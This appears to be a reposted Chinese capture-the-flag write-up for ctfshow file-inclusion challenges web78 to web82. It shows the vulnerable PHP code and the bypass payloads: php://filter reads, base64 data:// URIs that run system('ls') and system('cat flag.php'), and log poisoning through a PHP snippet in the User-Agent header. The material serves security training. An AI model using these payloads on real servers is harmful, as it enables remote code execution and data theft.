当前位置:网站首页>ctfshow 文件包含
ctfshow 文件包含
2022-07-30 23:17:00 【白塔河冲浪手】
web78
进入环境

直接利用php://filter伪协议读取flag.php文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到flag

web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} str_replace替换字符串

将变量file中的php替换成???
那我们这里就不能用php伪协议了换data协议并用base64加密
?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg==

?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=
<?php system('cat flag.php'); ?>
web80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} 同上过滤php,data
正常服务器中的日志文件位置:
/var/log/nginx/access.log
/var/log/apache2/access.log这里包含日志文件来getshell

可以看见日志文件会记录User-Agent
抓包修改User-Agent
<?php system('ls');?>
<?php system('cat fl0g.php');?>
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
} 同上过滤php,data,:
使用日志文件getshell
和上题一样
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
?>.也过滤了日志包含不行
边栏推荐
- “蔚来杯“2022牛客暑期多校训练营2 H.Take the Elevator
- 【LeetCode】55. 跳跃游戏 - Go 语言题解
- 2021GDCPC广东省大学生程序设计竞赛 B.Byfibonacci
- 数据清洗-使用es的ingest
- PyTorch model export to ONNX file example (LeNet-5)
- Soft Exam Study Plan
- 【云驻共创】HCSD大咖直播–就业指南
- mysql锁机制
- 通过对抗性知识蒸馏压缩深度图神经网络
- Successfully solved ImportError: always import the name '_validate_lengths'
猜你喜欢
随机推荐
win10重建索引
el-upload添加请求头
"NIO Cup" 2022 Nioke Summer Multi-School Training Camp 4 DHKLN
【Untitled】
mysql 中手动设置事务提交
【LeetCode】55. 跳跃游戏 - Go 语言题解
实验7(MPLS实验)
HCIP Day 15 Notes
Lambda表达式
[MySQL] Mysql transaction and authority management
The problem of sticky packets in tcp protocol transmission
Kotlin特殊类
雪佛兰开拓者,安全保障温暖你的家庭出行的第一选择
uniapp折叠框二级循环
Soft Exam Study Plan
2021GDCPC Guangdong University Student Programming Competition B.Byfibonacci
ZZULIOJ:1119: 数列有序
HF2022-EzPHP复现
leetcode 406. Queue Reconstruction by Height 根据身高重建队列(中等)
Golang 切片删除指定元素的几种方法










